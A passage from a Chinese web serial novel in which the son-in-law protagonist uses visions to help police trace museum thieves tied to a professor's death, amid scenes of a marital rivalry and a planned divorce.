他们胆子为什么如此之大? 难道,他们就不怕警报声突然响起吗? 正疑惑期间。 三个人又开始迅速查看。 “就这个了,这个项链可是值钱,我的祖奶奶哟,光是其中的一颗珠子,就能卖不少钱!” “这链子还是金的吧!” 之前说话的胖男人眼睛发直,使劲地喘着粗气。 眼睛,死死地盯着展柜里的项链。 顺着那人的手电筒望来望去,林泽认出,那是宋代水晶念珠。 整串念珠一共一百零八颗,最大的珠子,并没有在最中间。 因此。 两边长度不一。 怎么回事? 他们的目的……不是那颗九眼天珠! 可为什么到最后博物馆丢失的并不是项链,而是九眼天珠? 身形胖的男人垂涎欲滴,眼睛里的贪婪几乎要溢出来。 望着展柜里的珠宝就像看到百元大钞一样兴奋! “哗啦——” 玻璃碎裂的声音传出! 胖男人被吓了一跳! 手电筒“啪”的一声落到地上。 瞬间。 光线散裂,亮度也减少很多! “卧槽,老二,你他妈在干什么?谁让你砸那个的!” 胖男人咬牙切齿,顾不得捡手电筒,急忙奔向不远处的男人。 还未站稳,便抬腿一脚踹在那人屁股上。 “大……哥,别,别打我,这个……值钱!” 被称作老二的男人结结巴巴地开口。 同一时间。 另外一个男人也惊慌地跑过来。 “你砸这个干什么,当初说的不是这个!” “我……知道,可这个值钱。” 老二声音坚定,话还没说完,手已经伸向展柜。 林泽恍然大悟。 原来。 是他们三个当中有人改变了主意,临时砸了九眼天珠的展柜。 “在他妈值钱也是个珠子,这能拆啊?这玩意儿不好出手!” “就跟那瓶子一样,不好弄出去。” “你想砸在咱们手里是不是?” 胖男人急得抓耳挠腮,使劲揪着老二的衣领子不撒手。 “大哥,早就跟你说了,老二就喜欢那些东西,这次就不应该带着他来。” 同伙当中的老三,也开始埋怨。 “这又不是……手串,这是……天珠!” 老二还想解释,却被老三打了一个耳光! “这东西出不了手,不好拆,你听不懂是不是!” “老三别管他了,咱们速战速决!” 一番争执过后,老二被推向一旁。 剩下的两人想接着行动。 突然。 展厅的门被打开。 “谁在那里,你们住手!” 声音传出的同时,一个身影迅速袭来。 此人正是赵明来教授。 看到面前情形,赵明来目瞪口呆。 “你们……到底干了什么,这是国家瑰宝,这是文化结晶,你们怎么可以……” 赵明来话没说完,其中一人直接举起手电筒。 刺眼的光芒让赵明来极其不适。 本能地将手挡在眼前。 可他脸上的气愤却始终不曾消散。 “老头子,少管闲事,今天的事情就当你没有看到,赶紧滚!” 赵明来上前一步,脸上的神情无比坚定。 “只要有我在,我就不会让你们拿走这里的任何一样东西!” “这里的每一项产品都属于国家,属于人民!” “你们这样做是犯法的,是要判刑的!” 赵明来义正言辞,声音严肃。 对面。 三个人一时间也不知道该如何是好。 他们甚至不知道该如何处理这个突然闯进来的人。 突然。 老二伸手,在展柜当中一抓! 瞬间扬起手! “你不是说……这是……国家的吗,我现在就砸了它!咱谁也……别要!” “住手,那是九眼天珠,那是瑰宝,你……” 赵明来满脸痛惜,面色苍白一片。 可话没说完,手便捂向心口的位置。 身体剧烈的哆嗦,当场摔倒在地! 另外一只手中的降压药,也随即滚出。 林泽缓缓闭上眼睛,心中满是痛惜! 这些畜生,是他们害死了赵教授! 赵教授倒在地上直至呼吸停止,眼睛依旧死死地盯着九眼天珠的展柜! 林泽手握成拳,关节泛白。 “老二,你他妈快点住手,这东西不能摔!” “我……吓唬他,我舍得摔?” 老二摸了摸手里的九眼天珠,小心地揣到怀里。 对面。 身形微胖的男人恨不得把牙都咬碎。 “你犯浑,现在惹出人命来了,怎么办?” 老二正在迟疑,刚想开口说话。 旁边老三一个跨步向前! 第13章 有必要改变行动方案。 “不能在这多待了,赶紧收拾现场,马上离开!” 老大跟老二同时一怔。 “不是,那项链……还没……弄到手!” “你他妈疯了,是不是?惹出这么大的动静,你还想搞项链,你是不是想把警察引过来?” 老三发火。 微胖的男人也跟着缓过神。 “老三说得对,不能再耽搁了,没事,这边好处理,我们都戴着手套,好处理!” 他像是在接上老三的话茬,又像是在安慰自己。 老三走到赵明来跟前,伸出食指在他鼻尖探了探。 语气当中夹杂着崩溃。 “真死了,都没气了!” “都怪老二,还没发财,先捅出个大娄子!那些东西,还不知道什么时候能出手,那瓶子还在手里砸着呢!” “上次的事情没动静,这次就没有那么幸运,警察肯定会来的!” 老三语无伦次,慌忙站起身,快速走到胖男人跟前。 “大哥,这次的事儿大了,不如咱们跑吧!” “怎么跑?跑哪去?手里的东西怎么办?” 胖男人问出的每一个问题都是关键。 老三站直身体,声音低沉沙哑。 “出去以后,我们三个分头跑!” “这两天看看动静,如果东西不好出手,就去别的省份卖!” “初六中午,我们在东海火车站集合!” “上了火车再商量怎么办!” 想着这次犯的事情大,微胖男人和老二也不敢轻举妄动。 最后。 两个人都同意老三提议。 时间一点点过去。 三个人将现场简单的处理了一下,随后又爬梯子离开。 赵教授躺在冰冷的地面上,死不瞑目。 林泽看了看窗户口的竹梯子,随后收回目光。 事情的真相跃然于水面。 他……也没有必要继续留在这里。 再次清醒过来。 林泽合上手中的档案,重新放回到书架当中。 “初六中午,但愿时间还能来得及。” 次日清晨。 东方刚刚翻出鱼肚白,林泽便醒了。 刚刚下床,林泽便拨通张军的电话号码。 电话被迅速接听,张军语气急切。 “老林,怎么样了?想到什么没有?” 张军声音沙哑,显然没有休息好。 林泽看了一下时间,语气当中满是意外。 “还不到六点,你就已经醒了?是不是早了点?” 林泽记得。 在几个室友当中,张军可是最爱睡懒觉的。 用他的话说,是经常看不到早晨的太阳。 “何止起得早,我是一宿没睡!”张军打了个哈欠,“这一晚上,我都在想线索,脑袋都要炸了。” “你那边到底怎么样?有头绪没?” 嘀咕一番,张军再次转入正题。 “有,你先吃些东西,八点以后,我们小广场见面。” 张军瞬间兴奋,“行,那就这么定了,一会我去接你!” 挂断电话,林泽将手机放好。 洗漱完毕,走进厨房开始准备早餐。 红豆圆子粥,桂花紫薯米糕,蔬菜卷旁边,是煎好的虾仁。 唐若涵的饭量不大,如果饭菜准备得精致,他偶尔也会多吃上两口。 所以,在唐若涵的饮食方面,林泽非常用心。 为了履行合同里“全力照顾唐若涵饮食起居”的条款,林泽曾经花了大半年的时间研究菜谱。 而对自己,林泽则是随意很多。 通常情况下,林泽的早餐,一碗清汤面便能解决。 每天。 唐若涵七点半会出别墅。 剩下的时间,林泽可以自由安排。 今天早上,唐若涵的兴致好像并不高。 简单吃了两个虾仁,红豆圆子粥也只是喝了两口,她就将汤勺放下。 “唐总,今天的饭菜不合胃口吗?要不我给您热一杯牛奶?” 林泽话音未落,唐若涵便开始摇头,“不用,我赶时间,还有,中午不回来吃饭了。” “好的,唐总。” 唐若涵匆忙回卧室,又着急离开。 直到将唐若涵送出门,重新坐回到椅子上,林泽这才松了一口气。 唐若涵的心上人回来了,最近这段时间,她应该都很忙吧? 这样也好。 他也能腾出时间来做一些自己的事情。 半小时以后。 林泽到达别墅附近的小广场。 很快,张军开着警车前来。 “老林,快说说,你怎么想的?” 张军一边开车门,一边给林泽递烟。 林泽上车,接过烟却没点燃。 一夜不见,张军神情憔悴,胡茬都出来了。 “这真是上火了,眼睛里都有红血丝了。”林泽调侃。 “何止红血丝,嘴上还长了好几个燎泡,快说吧!” 见张军催得急,林泽直接说出结果。 “我猜想,凶手不是李志佳,根据现场留下的痕迹,也排除李志佳跟盗窃团伙勾结的可能。” “如果他们是里应外合,盗贼没必要爬窗户。” “而且,离开的时候,并没有将竹梯子带走,说明他们走得很匆忙。” 张军转头,顺着林泽的话茬往下捋。 “你是说,赵明来教授的死因跟盗贼有关?” “这种可能极大,很有可能是盗贼在行窃过程当中的动静,引起赵教授的注意,赵教授病情发作,盗贼慌乱离开。” 张军眉头皱成一团。 “这种说法,是不是有点牵强?为什么不是那些盗贼害死了赵明来教授?” 林泽抬眸。 “赵教授身上没有任何外伤痕迹,说明他们并没有对赵教授动手。” “其次,窗口的竹梯子便是他们慌乱的证据。” “还有,赵教授的宿舍距离二楼展厅并不近,只能是他听到动静,匆忙赶到,随后看到盗贼行窃现场。” 张军一边听一边点头。 “照你这么说,倒是能够将事情捋出来。” “那现在的怎么办?抓不到那些人,案子还是破不了啊!” 张军猛吸一口烟,又重重地吐出去。 像是要把心里的郁闷一并吐掉。 林泽看了一下窗外。 “他们手里的东西虽然值钱,短期之内却不好找到买家。” “如此珍贵的文物,即便是有能力的私人收藏家,也不敢轻举妄动。” “按照这个分析,目前,东西应该还在他们手上。” 剩下的线索,林泽没有说出来。 九眼天珠档案上,并没有后续更新,这也就说明,文物还没出手。 “所以,眼下你们恐怕要改变一下行动方案了。” 张军打了个激灵,头本能地又凑过来些。 “你说,怎么改变?” 第14章 她,不会跟你回去! 林泽并没说出方案,而是话锋一转,开始问其他问题。 “上次你说,根据现场留下的指纹,应该是三个人,附近监控查到什么了吗?” “目前没有确定目标。” “监控影像不会作假,如果他们分头行动,出现在监控当中的自然会是一个人……” 林泽话音未落,张军突然一拍大腿。 “我去,怎么把这种可能给忽略了,你说的没错,因为他们想分散注意力,开始往不同的方向逃跑,监控里头自然就是一个人了!” 见张军顺着自己的思路往下想,接着林泽又像无意间提起。 “九眼天珠目标重大,寻常买家想要也得考虑一番,为了不让文物外流,其实,倒是可以利用好媒体。” “截止目前,博物馆对九眼天珠失踪的事情并未宣扬,其实大可不必,直截了当地说出来,无论是买家还是卖家,这时必然不敢交易。” “还有,既然他们是团伙作案,再加上有赵教授身亡,你说他们有没有可能想到跑路?” 像以前一样。 林泽并没有直接说出结果,而是装作推理对张军进行引导。 片刻工夫过后。 张军恍然大悟。 “没错,光排查是不行的,还得拦截,我现在就向局里打报告,申请加派人手,排查各个机场的可疑人员。” “现在,跟高铁和飞机相比,火车速度虽然慢,但客流量依旧不少,如果要浑水摸鱼,估计火车站的概率要比其他地方大得多。” “对,火车站那边也得加派人手!” “今天初几?” “初五,怎么了?”张军一脸不解。 “没事,尽快安排吧,如果那些人想好了要跑,晚一刻钟,就有可能错失机会。” 当初影像当中,那三个人约定的时间是初六中午,现在初五加派人手,估计还能来得及。 张军没有立刻开警车回去,而是直接拿出手机打电话。 将刚才的推测重复一遍后,局里立刻同意张军的请求。 挂断电话后。 张军伸手摸了摸脑门。 “老林,我倒是有个想法,在媒体公布这方面,你说如果我们截取一段赵教授研究的课题,效果会不会更好?” “这主意不错,我觉得可行。” “那就跟赵教授家一趟?一块去吧?” 张军目光诚恳。 林泽看了一下时间,想到中午唐若涵不会回来,于是答应。 …… 为了赶时间。 一路上。 张军打开警灯,直接将油门踩到底。 快到赵教授的住处时,车速才有所减缓。 今天是赵教授开设灵堂的第二天,跟昨天相比,外面的车辆一下子多了好几倍。 连路口也多了一些指挥交通的人。 那些人并非交警,大多都是赵教授的学生,这些都是他们自发的行为。 赵教授德高望重,在业内有极高的声望。 得知赵教授出事的消息,很多人都是连夜赶来。 此刻。 整个别墅都沉浸在哀痛当中。 张军将警车停好,随后跟林泽一块往里走。 同一时间。 唐若涵和吴庸已经去往后院的休息区。 “小涵,赵教授的事情多亏了你,如果不是你提醒,我可能连见教授最后一面都错过了。” 吴庸面露愧疚之色,说话间,眉头也跟着皱起来。 唐若涵摇摇头,柳眉紧蹙。 “你刚回来,不知道赵教授的事情也很正常,再说现在不是已经来了吗,而且还见了师母。” 提到赵夫人,吴庸又是一阵感慨。 “三年不见,师母倒是没有多大的变化,只是赵教授这一走,估计师母以后的日子就难了。” 众所周知。 赵教授夫妻二人伉俪情深,赵教授意外死亡,估计最难过的还是赵夫人。 “现在,我们也只希望师傅能够节哀顺变,我想着没事的时候多来看看。” “应该的,”吴庸提高声音,“什么时候你过来别忘了叫上我,咱们一块来。” “好。” 两个人正说着话。 突然。 一道凌厉的声音传过来。 “我说你们两个,昨天不是已经来过了吗?既然没有结果,就不要一直来打扰我们!” “我们的心情你们没有办法,你们只说让配合,究竟配合到什么程度你们才能抓人?” “我师母身体本来就不好,你就不要一直刺激她了!” 声音不小,语气当中充满埋怨。 唐若涵瞬间抬头。 旁边。 吴庸也朝着声音的来处望去。 几米开外。 赵夫人摆了摆手,转头看向旁边的助理。 “警察同志也很辛苦,我们要给他们一些时间,你别说了,去把你师父的手稿拿出来,给他们。” 赵夫人神情憔悴,声音嘶哑。 提到赵教授,瞬间又红了眼眶。 “师母,您别太难过,要注意身体。” 唐若涵上前,急忙扶住赵夫人的胳膊。 可在抬眼间,突然怔住。 面前的警察同志身边,竟然是林泽! “林泽,你怎么在这儿?” 问话间。 唐若涵脑海当中又闪过昨天的那一幕。 昨天的身影……也是林泽! “唐总,我来办点事情。” 唐若涵瞪圆眼睛,目光当中充满不可置信。 办事情? 跟警察一块? 对面。 林泽看到唐若涵,以及她身后的吴庸,也感觉有些意外。 他们怎么会在这儿? 两个人正在愣神之际,吴庸已经开始上下打量林泽。 对于唐若涵的结婚对象,吴庸早已经深刻在脑海。 即便只是看了眼前的人一眼,吴庸便能断定,这个就是唐家的赘婿,唐若涵现在的丈夫……林泽! “林泽,你这是来找小涵的吗?不用浪费时间了,她不会跟你回去的,我们有很重要的事情要办。” 林泽一怔。 小涵? 这称呼还真亲切。 见林泽不说话,唐若涵面上闪过一阵尴尬,随即低头介绍。 “林泽,这位是吴庸,吴先生,我们都是赵教授的学生。” “吴庸,这位是林泽。” 唐若涵话音刚落,吴庸便立刻接上话茬。 “小涵,你不用介绍,我知道林泽。” 林泽没有说话。 对于面前的吴庸,他也能认得出来。 在他跟唐若涵住的别墅当中,有专门一个房间,里面放满了有关于吴庸的东西。 那些照片,也摆放得整整齐齐。 场面有些尴尬,唐若涵表情僵硬。 这时。 吴庸神色一紧,声音也变得急促。 “小涵,那是沈先生吗?没想到,他也来了!” 此话一出。 在场的人全都转身。 不远处。 一位四十多岁的男子神情郑重,正匆忙朝这边走来。 他的目光,始终看向正前方。 眼镜边框的金光与鎏金怀表链所散发出来的光泽,在阳光下极为醒目。 吴庸悄悄吸了一口气,调整情绪后,伸出双手,大步向前。 “沈先生,久仰久仰。” “我是赵教授的学生,早就听说沈先生的大名,今日一见,万分荣幸。” 吴庸声音激动,一脸谦逊。 本以为,话音落后,对面的人会驻足。 可谁曾想。 这人竟直接绕过了吴庸,直接停在林泽面前。 “您好,林先生,不知林先生可否有时间借一步说话?” 沈平韵的声音传出。 所有人都……目瞪口呆! 第15章 一个赘婿,竟被沈家人看重! 林泽微微一怔。 抬眼迎上沈平韵的目光。 “您找我?” “是的,林泽先生,没有提前拜访贸然邀请,实属不妥,还希望林先生见谅,可眼下,确有一事希望林先生……提点。” 如果沈平韵前一句话是出自客套。 那现在的这番说辞,简直谦虚到了极点! 吴庸大脑一片空白,人都有些站不稳了! 沈平韵,东海市知名收藏家,其父亲沈博川跟赵明来教授一样,在业界有着极高的影响力和话语权。 几年前,沈博川感觉精力大不如前,遂将名下的私人博物馆交与二儿子沈平韵管理。 四十多岁的沈平韵不负众望,短短一年时间,追回流失国宝三件,在业界声名鹊起。 只是。 身份如此尊贵的沈平韵,竟然如此卑微地请求林泽借一步说话? 这……到底是怎么回事! 吴庸不解地看着唐若涵。 唐若涵同样是一头雾水。 林泽……竟然被沈平韵邀请了? 见林泽没有立刻同意,沈平韵没有继续催促,而是转头看向众人。 先是跟赵夫人打了招呼,随后,沈平运又对着张军点头。 “老张,我一会回来。” “行,你去吧,我就在这等你。” 张军回答得利索。 而看到林泽答应,沈平韵目光当中瞬间闪过一丝欣喜。 “林先生,请。” 做出一个请的姿势后,沈平韵跟林泽一块离开。 吴庸脸上充满不可置信,眉头皱成一个川字。 “唐家的赘婿,怎么会跟沈先生有交情?” 张军见状,心里的火气噌的一下子窜出。 “赘婿?这总比被人视而不见的好!” “你……” 刚才自己的手停在半空当中被无视,现在想想,吴庸被噎得一句话也说不出来。 而听到吴庸如此称呼林泽,唐若涵脸也跟着沉下来。 似乎意识到不妥,吴庸急忙改口。 “小涵,你别误会,我只是觉得太不可思议了。” 唐若涵冷冷地看了吴庸一眼,随即回头看向赵夫人。 “师母,我扶您进去休息。” “好,辛苦你了。” 眼下。 赵夫人沉浸在失去丈夫的悲痛当中,也没有心思去理会外界的事。 眼看唐若涵转身,吴庸只好匆忙追上去。 …… 花园凉亭。 沈平韵和林泽相对而坐。 几米开外。 数个黑衣保镖身影坚定,神色冷峻。 “林先生,此次请林先生过来实属冒昧,可当下,确实有一件事情需要林先生操心。” “实不相瞒,沈家私人博物馆出了一些事……” 沈平韵的话只说到一半,林泽当即明白是怎么回事。 “沈先生,遇到这种情况,你应该找警察才对。” 沈平韵摇摇头,苦笑道:“的确应该报警,可这当中另有隐情,我们也很无奈。” “这件藏品对于家父来说意义非凡,当年,家父耗时三年才打听到此藏品的消息,又历经波折才将其购买。” “现如今,藏品被盗,家父年事已高,我们实在难以启齿,只能悄悄寻找。” “可一连几日始终没有消息,不得已,才想来麻烦林先生。” 沈平韵态度诚恳,脸上是难掩的焦急之色。 林泽却在思考,他们是怎么找上自己的。 “沈先生,冒昧地问一句,你……是怎么知道我的?” “实不相瞒,我们也是经过详细打探,了解到林先生为东海警局做了不少贡献,恰巧,今日在赵教授这边又看到了林先生,所以才贸然讨饶。” 说着,沈平韵话锋一转。 “林先生,只要能够找到丢失藏品,价钱,林先生您开。” 林泽摆摆手。 “不用,沈先生所丢的东西,是不是高33.6,口径9.9,足径14.2,长颈,圆腹……” 不等林泽把话说完,沈平韵骤然起身,慌忙点头。 “是的,林先生,您说的一点都没有错,林先生,您是不是……” 听到林泽所描绘的尺寸,一向平静淡然的沈平韵,再也无法淡定。 由于激动,胸脯都微微起伏。 “林先生,既然林先生知晓此藏品,可否劳烦林先生前去现场,从出事至今,我们将现场保护得非常好。” “真的恳请林先生给指点一下。” 林泽再次摇头。 “不用了,我跟沈先生过去也没有什么意义,念在沈先生一片孝心,我不妨多说两句。” “初六中午,东海火车站。” “一人身形微胖,一人口吃。” “至于能不能找到那物件,只能看它跟沈家的缘分了。” 沈平韵不住点头,似乎要把林泽的话谨记于脑海。 林泽看着面前的人,心中也是一番思索。 沈家的势力加上东海市的警力,要想抓住那三个人,应该不算什么难事。 可万事没有绝对,若真有漏网之鱼,也只能说是天意了。 该如何部署,他已经告诉张军。 现在,又说出其中两个人的特征。 但愿,这些盗贼团伙能够落网。 见没有什么可说的,林泽缓缓站起身。 这时。 沈平韵迅速反应过来。 “林先生,多谢林先生指点,平韵感激不尽,现如今时间紧急,平韵先去找安排人去寻找,事后,沈家必当重谢!” “沈先生,不必如此客气,如果没有其他的事情,那我先离开了。” “好的,林先生,我送林先生!” “沈先生去忙吧,我自己离开就行。” 说完林泽点点头,接着大步离开。 沈平韵如释重负,长长地松了一口气。 收回目光之际,他迅速掏出电话,当即开始部署。 …… 林泽顺着原路返回。 还没到达张军跟前,张军已经开始对着他招手。 “老林,这边!” 见他手里拿着一份文件,林泽脸上的表情有所缓和。 想必,这应该就是赵教授的手稿了。 果然。 林泽刚停下脚步,张军便迫不及待地开口。 “手稿已经取过来了,马上就可以开新闻发布会。” “老林,这张网已经铺开,但愿收网的时候不会落空。” “咱们现在就回去吧,对了,那个唐若涵,你还要不要跟她说几句?” 林泽的事情,张军可以说是很了解的。 只是,看到刚才唐若涵惊愕的表情,张军也觉得奇怪。 按道理说,他们两口子不应该这么疏离才对。 都结婚三年了,怎么还跟陌生人一样? 显然,唐若涵并没有想到林泽会来这里。 反倒是她身边那个姓吴的,怎么看怎么让人觉得不自在。 看他那样子,好像唐若涵是他老婆一样! 问话的时候,张军挑挑眉毛,特意看了看唐若涵那边。 林泽抬眸。 瞬间迎上唐若涵的目光。 第16章 他……不会是我的对手! 吴庸就在唐若涵身边,两人仅有一步之隔。 想起唐若涵曾说,中午不回来吃饭。 再看看眼前情形,林泽想说不用。 恐怕这时候,唐若涵也不希望有人打扰她跟吴庸吧? 可话还没说出口,张军恼火的声音便传来。 “卧槽,干嘛呢那是?老林,那货挑事儿呢!” 张军看到的情场面,林泽也看得一清二楚。 就在他跟唐若涵四目相对之际。 吴庸缓缓伸出手,在唐若涵在肩膀上拍了拍。 或许这是善意的举动。 可动作缓慢后,很难不让人误解成他要把唐若涵搂在怀里。 吴庸嘴角扬起,目光当中满是挑衅。 那种优越感仿佛在提示林泽,即便唐若涵跟你结婚,她依旧会成为我的女人! 林泽心中一紧,表情跟着尴尬起来。 “老林,你看到了没有,要不要过去?” 此时。 张军的眉头已经拧成一团,吴庸突如其来的动作显然让他震惊不已。 林泽收回目光,尽量让语气变得放松。 “还是别过去了,破案的事情要紧,先回去吧。” 张军想想也是,可一边跟着林泽走,一边还是忍不住问。 “那男的是谁啊?那么没有分寸,他要是经常这样,少不了挨揍吧!” “那是她的朋友,刚从国外回来,应该是受国外文化的影响比较开放一些。” 尽管清楚唐若涵跟吴庸的关系,可这个时候,林泽不想节外生枝,只能找出这种说辞。 张军翻了个白眼。 “你倒是挺放心,我跟你讲,我一看那男的就不是什么好人,你可小心着点,别等哪一天后院起火。” “你少说两句吧,你这边都火烧眉毛了,还有心思琢磨我后院起火?” 林泽的反问让张军哭笑不得。 “这话你可说对了,赵教授的案子让我火大了,这事得赶紧解决,否则,不光我们倒霉,估计局长的位置都坐不稳。” 重新将话题转移到案件当中,张军脸上的神情也跟着严肃起来。 “我是这样想的,回去以后,咱们再把计划捋一遍,看看有什么不周全的地方,然后……” 不等张军把话说完,林泽已经开口拒绝。 “警方的部署我就不参与了,回头等人抓住了,告诉我一声就行。” “你不过去?” “不去了,下午我去医院看看。” 张军有些失落,但对于林泽做的决定也能理解。 林泽很孝顺。 这三年里头,除了在家,就是在医院。 如果没有林泽的细心照顾,恐怕老爷子也不会撑这么久。 “行,那我把你送回去,我再回警局。” 林泽没有拒绝,出门以后跟着张军上车。 …… “小涵,你不要太难过,我相信,警方一定会尽快破案。” 吴庸声音温柔,目光一直停在唐若涵的脸上。 这张精美的面孔,几乎挑不出任何瑕疵。 无论是五官比例,还是皮肤质感和气质,面前的唐若涵都接近于完美。 她的出身,能力和独特的个人风格,又让吴庸有极大的满足感。 唐若涵站在他身边的那一刹那,吴庸觉得,自己就是胜利者。 每次看到其他男人看向唐若涵的目光,吴庸就知道,他是高高在上的! 因为。 唐若涵是他们任何一个都无法拥有的女人! 吴庸沉浸在满足当中,不能自拔。 唐若涵点点头,微微上前,恰巧躲开吴庸的怀抱。 “小涵,你能够陪我来这里,我真的非常感谢,可眼下,我还是觉得,不如我们先离开。” “我不想看到你悲伤的表情,这里的环境不适合一直停留。” “不如,改天我们再来看望师母,你觉得呢?” 唐若涵抬起头,面上是挥之不去的忧伤。 “我还行。” “听我的,逝者已逝,你也要为自己考虑。” 吴庸说话的声音并不大,语气当中却夹杂着一丝不容置疑。 看看周围忙碌的人影,唐若涵最终点点头。 重新回到车上,吴庸细心地调整空调的温度,甚至还伸手在挡风口试了试。 “我记得,以前你不能吹冷风,这个温度还可以吧?” “没事,你不用管我。” “不,小涵,你知道我这次回国的目的,从今以后我要一切以你为主,我怎么可能不在乎你的感受?” 唐若涵一阵尴尬,嘴唇微张,却不知该要说什么。 三年不见。 再次相遇,唐若涵只觉得吴庸变了不少。 甚至,自己一直埋藏在心里的感情,好像也不是以前那么浓烈了。 吴庸的笑容恰到好处,一举一动也十分得体。 可唐若涵还是感觉到了一种疏远。 再次看着旁边的男人,唐若涵竟然不自觉地想到了林泽。 心情顿时一阵复杂。 “小涵,这次回来,我再也不会离开,我会竭尽全力地帮助你,不再让你那么辛苦。” “你放心,我不会依附任何人,也不会像林泽那样,借着唐家的名号去结交权贵。” “我只以你为中心,你就是我的一切。” 吴庸神情中肯,这一番话下来,既向唐若涵表达了心意,又不动声色地讽刺了林泽。 并且,吴庸相信。 即便唐若涵现在不说什么,日后,她也一定会拿自己跟林泽比较。 林泽算什么? 只是唐家的赘婿,一个靠脸吃饭的窝囊废! 只有那些不知情的人才会跟他结交。 就好比……沈平韵。 如此想着,吴庸微微摇头,脸上露出惋惜的表情。 真是可悲。 身为东海四大家族的沈家,在沈老爷子退出以后,他们的接班人居然如此……没有眼光! 可悲可叹! “其实,你没有必要跟林泽比,你们是完全不同类型的两个人,”唐若涵控制着语速,努力保持柔和,“你们没有在一个赛道上,方向跟目标也不同,没有可比性。” 吴庸转头,目光重新落在唐若涵这边,嘴角依旧扬起笑意。 “小涵,你错了。” “人存在于这个世上便少不了可比性,就像那句话说的,有人的地方就会有斗争,林泽虽然一无是处,可他却成了唐家的女婿。” “就凭着这一点,我们之间便免不了一番较量。” 说到此处,吴庸一阵冷笑。 “呵呵……” “不过,现在的我,能轻松将林泽碾压。” “他……不是我的对手。” 唐若涵眼眸一紧,手指轻颤。 第17章 这三年里,我幸福吗? 察觉到气氛微妙,吴庸再次转头。 “小涵,怎么不说话了?你是在质疑我的实力吗?记得以前你曾经说过,最喜欢自信的男人。” 唐若涵笑容有些勉强。 她的确欣赏自信果断的人。 可吴庸的自信当中,她只感受到锋芒毕露。 这跟记忆当中的那个吴庸……相差很多。 为了不破坏气氛,唐若涵淡淡地说了句,“确实,自信对于一个人来说非常重要。” “林泽的朋友圈,大抵也就如此了,一帮庸人,最有出息的,也就是那个小警察了。” “好了,”唐若涵抬头,声音略有提高,“不提他们了,我还有些事情,今天就到这儿吧。” “小涵,我还想着跟你共进午餐,你这是……在拒绝我吗?” 吴庸语气失落,一脸受伤的表情。 “我回唐家老宅一趟,办些事情。” “原来如此,说起这个,我倒想起另外一件事,已经回来两天了,还没有正式拜访过伯父伯母,他们不会怪我吧?” 吴庸换了一副神情。 毕竟,如果唐若涵提到的是其他的事情,他都可以找借口让唐若涵推掉。 可是唐家老宅,那几乎象征着权威。 在吴庸心里,更是不可随意冒犯的场地。 唐若涵摇头,“怎么可能,赵教授的事情整个东海人尽皆知,我父母不会怪你的。” “那就好,那这次回去,还要麻烦小涵打探一下伯父伯母的口风,看他们什么时候有时间,我好过去一趟。” “我呢,就趁着这个功夫给他们挑选一些礼物。” “到时候,还要你做最后的决定。” 话音落后。 吴庸又给了唐若涵一个放心的微笑。 唐若涵思索片刻,随即拒绝。 “不必那么郑重……” “要的,我也想让他们看一下,三年以后的我,已经脱胎换骨了。” 唐若涵低下头。 汽车里一片安静。 关于三年前的记忆,再次涌入吴庸脑海。 “你们吴家,连给我们提鞋都不配!” “无权无势,还想高攀小涵,你做梦去吧!” “吴庸,走了以后你就别回来,最好永远不要出现在我们面前!” 凌厉的指责,满目嘲讽,至今,吴庸都记忆犹新。 唐英豪对自己的态度以及鄙夷,像一柄淬了冰的剑,时刻插在他的心上! 如果唐英豪给唐若涵选的良配是某个大家族的子弟,也就算了。 偏偏是一个农村里出来的穷学生! 论家世,论前途,论感情,无论哪一点,那个林泽都比不上自己啊! 唐英豪的这个决定,不仅拆散了他跟唐若涵,更是在打他的脸! 所以,接下来的见面,自己必然是要好好准备一番! 来日方长,有些账,自然是要好好算一番的! …… 东海市中西医结合医院。 特护病房。 “爷爷,现在感觉怎么样?还头晕吗?” 林泽坐在病床前,声音激动。 病床上。 林振山目光当中闪过一丝欣喜,随即又皱起眉头,脸也跟着沉下来。 “小泽,你怎么又来了,整天把功夫……浪费在这里,还怎么工作?” 林泽嘴角扬起笑意,虽然听到的是埋怨,可心里却暖暖的。 “爷爷,我的工作时间自由,领导管得不严,我先喂你吃些东西,一会儿咱们擦擦身子。” 林泽熟练地舀出保温桶的粥,用小勺舀起一口,又在嘴边吹了吹。 感觉温度适宜,这才送到了爷爷嘴边。 “爷爷慢点,烫不烫?” “不烫,正好。” 林振山浑浊眼睛潮湿起来,吃了两口便别过头去。 “爷爷,再吃一些……” “不了,我这个老头子,就不应该活着,我多活一天,你就多一天的累赘。” “爷爷,你别这样讲,一切都会好起来的,我现在能挣钱了,以后也有更多的时间照顾你。” 有些话。 林泽不能说给林振山听。 每个月,唐英豪会在他的卡上打三万块钱。 这些钱,他可以自由支配。 一个月下来,除去单独给爷爷买的做饭的食材,他还能剩下一些。 三年下来,林泽也攒了一些钱。 这也是他认为跟唐若涵离婚以后,爷爷不至于被赶出医院的底气。 幸运的话,如果能在短时间之内找到工作,那就更好了。 所以,跟唐若涵离婚,不是无路可走,或许是新的开始。 又陪林振山聊了一会儿,林泽像往常一样,开始给他擦拭身体。 将林振山身上的衣服换下,接着,林泽又去洗衣服。 …… 唐家老宅。 唐英豪手托下巴,神情紧绷,本就严肃的脸上,此刻像淬了一层冰。 阳光透过窗户,躺在米黄色地毯上。 可偌大的客厅,却没有丝毫暖意。 唐若涵坐在唐英豪对面,心已经提到喉咙处。 最终。 还是唐若涵首先打破寂静。 “爸,我说的话并不过分,三年的时间马上就要到了,林泽也同意离婚。” “这也是当初我们说好的。” “所以,还请你们理解一下我的心情,还希望,你们能把那些证件给我。” 跟刚才的话比起来,这一次,唐若涵说得更加详细。 唐英豪的手明显地抖了一下,眉头皱得更紧。 “原来,你这次回来,是来取结婚证跟户口本的?” “我还以为,你是想念我跟你妈了,所以才过来。” “原来,是我自作多情!” “爸,您别这么说,”唐若涵抬起头,眼神中满是坚决,“我自然关心你们,只是,眼下这件事,是必须要办的。” “当初,你们强迫我跟林泽结婚,并且承诺,三年以后,不管离婚与否,都会尊重我的决定。” “现在,我跟林泽都商量好了,你为什么还要拿着那些证件不放?” “你是要食言吗?” “还是说,让我嫁给林泽,你们是有所图的!” 唐若涵说出最后一句话同时。 唐英豪猛地起身,低声咆哮。 “够了!在你眼里,你的父母就这么不堪吗?” “林泽无权无势,他就是一个村子里出来的土包子,我们能图他什么?” “当初让你们结婚,我们是希望你能幸福,没想到你却如此伤我们的心!” 唐若涵嘴角的笑容愈发冰冷。 这样的话。 三年当中,她已经听了无数遍。 尤其是最近这段时间,每次提到离婚,他们都会把自己的幸福摆出来。 这些,她已经听够了! “没错,你们希望我幸福!” “可事实上,我幸福吗?” “这三年里,你们有问过我的感受吗!” 第18章 你怎么可以跟踪我? 